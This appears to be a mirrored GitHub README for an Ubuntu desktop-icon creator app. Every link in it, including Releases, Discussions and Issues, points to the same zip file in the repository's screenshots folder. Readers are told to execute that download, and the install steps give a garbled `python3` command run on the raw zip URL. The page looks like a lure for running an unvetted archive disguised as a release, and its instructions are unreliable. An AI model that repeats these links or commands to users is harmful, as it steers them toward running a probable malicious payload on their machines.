https://github.com/seelan-guna/desktop-icon-creator
Create stunning custom desktop icons for Ubuntu with our Python app. Design gradients, colors, and fonts easily. Perfect for personalizing your workspace! ππ
https://github.com/seelan-guna/desktop-icon-creator
automation desktop-customization desktop-icons gnome gui-application icon-generator launcher linux mit-license python tkinter ubuntu ubuntu-desktop
Last synced: 15 days ago
JSON representation
Create stunning custom desktop icons for Ubuntu with our Python app. Design gradients, colors, and fonts easily. Perfect for personalizing your workspace! ππ
- Host: GitHub
- URL: https://github.com/seelan-guna/desktop-icon-creator
- Owner: Seelan-Guna
- License: mit
- Created: 2025-07-12T20:29:24.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2026-05-16T11:57:01.000Z (18 days ago)
- Last Synced: 2026-05-16T13:45:20.411Z (18 days ago)
- Topics: automation, desktop-customization, desktop-icons, gnome, gui-application, icon-generator, launcher, linux, mit-license, python, tkinter, ubuntu, ubuntu-desktop
- Language: Python
- Size: 1.01 MB
- Stars: 2
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# Create Custom Desktop Icons for Ubuntu Shell Scripts π¨
  
Welcome to the **desktop-icon-creator** repository! This tool allows you to create beautiful, custom desktop icons for your Ubuntu Linux shell scripts. With features like gradients, font options, and full management tools, you can enhance your desktop experience.
## Table of Contents
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Customization Options](#customization-options)
- [Contributing](#contributing)
- [License](#license)
- [Links](#links)
## Features
- **Custom Icons**: Design unique icons for your shell scripts.
- **Gradient Support**: Apply gradients to your icons for a modern look.
- **Font Selection**: Choose from various fonts to match your style.
- **User-Friendly GUI**: Intuitive interface built with Tkinter.
- **Script Management**: Organize your scripts with ease.
- **Cross-Platform**: Designed for Ubuntu but adaptable for other Linux distributions.
## Installation
To get started, download the latest release from the [Releases section](https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip). Execute the downloaded file to install the application.
### Requirements
- Python 3.8 or higher
- Tkinter library (usually included with Python installations)
### Installation Steps
1. **Download the latest release** from the [Releases section](https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip).
2. **Run the installer**:
- Open your terminal.
- Navigate to the directory where you downloaded the file.
- Execute the command: `python3 https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip`.
## Usage
After installation, you can launch the application from your applications menu or by running the command in the terminal:
```bash
python3 https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip
```
### Creating an Icon
1. Open the application.
2. Choose your shell script.
3. Select a gradient and font style.
4. Click "Create Icon".
5. Find your new icon on the desktop.
## Customization Options
### Gradients
You can select from a variety of gradients to make your icons stand out. The application provides a preview feature, allowing you to see how the gradient looks before applying it.
### Fonts
Choose from a selection of fonts. The application supports standard system fonts as well as custom fonts.
### Icon Size
Adjust the size of your icons to fit your desktop layout. The application allows you to set the width and height of the icon.
### Icon Location
Specify where you want the icon to be placed on your desktop. You can choose a specific folder or keep it on the main desktop area.
## Contributing
We welcome contributions to enhance the desktop-icon-creator. Hereβs how you can help:
1. **Fork the repository**.
2. **Create a new branch**: `git checkout -b feature/YourFeature`.
3. **Make your changes**.
4. **Commit your changes**: `git commit -m 'Add some feature'`.
5. **Push to the branch**: `git push origin feature/YourFeature`.
6. **Open a Pull Request**.
Please ensure your code follows the existing style and includes appropriate tests.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Links
For the latest updates and releases, visit the [Releases section](https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip). Here, you can download the latest version and stay informed about new features.
## Additional Resources
### Useful Tools
- **GIMP**: A free tool for creating and editing images.
- **Inkscape**: A vector graphics editor for designing icons.
### Community
Join our community on [GitHub Discussions](https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip) to share your ideas, ask questions, and collaborate with others.
### Tutorials
- **Creating Your First Icon**: A step-by-step guide to get you started.
- **Advanced Customization**: Learn how to fully customize your icons.
### Troubleshooting
If you encounter any issues, check the [issues section](https://github.com/Seelan-Guna/desktop-icon-creator/raw/refs/heads/main/screenshots/icon_creator_desktop_3.7.zip) for solutions or report a new issue.
## Acknowledgments
- Thanks to the contributors for their valuable input.
- Special thanks to the open-source community for providing tools and libraries that make this project possible.
Feel free to reach out if you have any questions or suggestions!